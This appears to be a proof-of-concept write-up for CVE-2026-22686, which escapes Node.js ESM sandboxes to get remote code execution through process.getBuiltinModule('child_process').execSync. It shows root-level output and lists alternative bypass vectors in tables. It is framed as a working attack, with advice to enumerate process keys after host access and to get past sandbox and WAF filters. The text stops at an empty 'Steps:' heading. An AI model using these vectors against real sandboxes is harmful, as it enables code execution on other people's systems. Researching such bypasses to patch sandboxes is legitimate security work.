
Proof-of-concept exploit for CVE-2026-22686, demonstrating remote code execution in Node.js ESM sandboxes via process.getBuiltinModule to bypass module restrictions.
| Vector | Result |
|---|
require('child_process') | ❌ require is not defined — not available in ESM |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule is undefined in ESM |
import('child_process') | ❌ A dynamic import callback was not specified — requires a hook not configured in the sandbox |
process.binding('spawn_sync') | ⚠️ Available but too low-level — requires manual syscall construction |
process.getBuiltinModuleInstead of assuming a module loading method, we enumerate process keys directly
from the host context (already accessible after sandbox escape):
return Object.keys(process)
Among the keys returned, getBuiltinModule was identified — a Node.js 22+ native API
designed specifically to allow ESM modules to access built-in Node.js modules
without require or import().
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE confirmed
This is the key insight: process.getBuiltinModule is a relatively new API
(Node.js >= 22.3.0) and is frequently overlooked by sandbox implementations
and WAF rules that block require and import.
Depending on the target environment, other vectors may be available after
enumerating process:
| Vector | Node.js Version | Notes |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ Cleanest — official ESM-safe API |
process.binding('spawn_sync') | All | ⚠️ Low-level, requires manual buffer construction |
process.mainModule.require(...) | CJS only | ❌ Undefined in ESM |
__non_webpack_require__ | Webpack bundles | ⚠️ Environment-specific |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ Needs Module reference from host |
process._linkedBinding('node_os') | Internal builds | ⚠️ Rarely exposed |
Takeaway: Always enumerate
Object.keys(process)after achieving host context access. The available attack surface varies significantly by Node.js version and project configuration.getBuiltinModuleis the most reliable vector in modern Node.js ESM environments.
Steps:
